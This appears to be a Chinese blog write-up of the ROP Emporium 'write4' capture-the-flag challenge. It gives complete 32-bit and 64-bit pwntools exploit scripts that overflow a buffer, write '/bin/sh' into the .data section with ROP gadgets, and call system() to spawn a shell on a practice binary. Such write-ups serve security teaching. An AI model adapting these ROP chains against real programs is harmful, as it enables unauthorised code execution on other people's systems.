write4

write432:

同样的溢出点,但是这次没有/bin/sh,需要我们自己写到data中或者bss 中,两种写法没什么不同,就改个地址而已,这里就只说写到data段中,“/bin/sh"在32位中需要分两次写到 data 中去,用ROPgadget 查找可用的gadget 先:


image.png
这里用到 
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret

exp :

# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./write432')
data_addr = 0x0804A028    #写入到 data 段
# bss_addr = 0x0804A040    #写入到 bss 段
system_ply = 0x08048430
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670
payload = ""
payload += 0x28 * "A" + p32(0)
payload += p32(pop_edi_ebp)
# payload += p32(bss_addr)
payload += p32(data_addr)
payload += "/bin"
payload += p32(mov_edi_ebp)
payload += p32(pop_edi_ebp)
# payload += p32(bss_addr + 4)
payload += p32(data_addr + 4)
payload += "/sh\x00"
payload += p32(mov_edi_ebp)
payload += p32(system_ply)
payload += p32(0)
# payload += p32(bss_addr)
payload += p32(data_addr)
sh.sendline(payload)
sh.interactive()

write4:
一样的思路,只不过在写入data的时候64位可以一次写入

# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./write4')
# bss_addr = 0x0000000000601060     #写入到 bss 段
data_addr = 0x0000000000601050    #写入到 data 段
mov_r14_r15 = 0x0000000000400820
pop_r14_r15 = 0x0000000000400890
system_plt = 0x00000000004005E0
pop_rdi = 0x0000000000400893
payload = ""
payload += 0x20 * "A" + p64(0)
payload += p64(pop_r14_r15)
payload += p64(data_addr)
# payload += p64(bss_addr)
payload += "/bin/sh\x00"
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
# payload += p64(bss_addr)
payload += p64(data_addr)
payload += p64(system_plt)
sh.sendline(payload)
sh.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 春困,太困。。 眼皮在打架, 是不是需要一个小木棍? 是什么在支撑着我, 何怕困。 撑得太辛苦。 晕,好晕。 亚健...
    想飞的树不如草阅读 1,580评论 0 0
  • 其实,我认为每一个农村的孩子,从出生就在或主动或被动的做着一个梦。梦里,自己努力的背叛泥土,背叛祖宗,背叛童...
    楚地年少客阅读 2,750评论 0 0
  • 1、感恩昨晚先生对儿子的照料,让儿子安睡到天亮! 2、感恩儿子早晨在被子里给妈妈讲精灵的特性,妈妈又增加了知识量哦...
    普祥0502阅读 1,724评论 0 0
  • 感赏今天孩子放学后来到外婆家,并提前在昨天晚上就懂事的用微信告知了外婆。非常懂事的征求外婆的同意“是否能在同学家住...
    武汉的笑靥如花阅读 1,067评论 0 2

友情链接更多精彩内容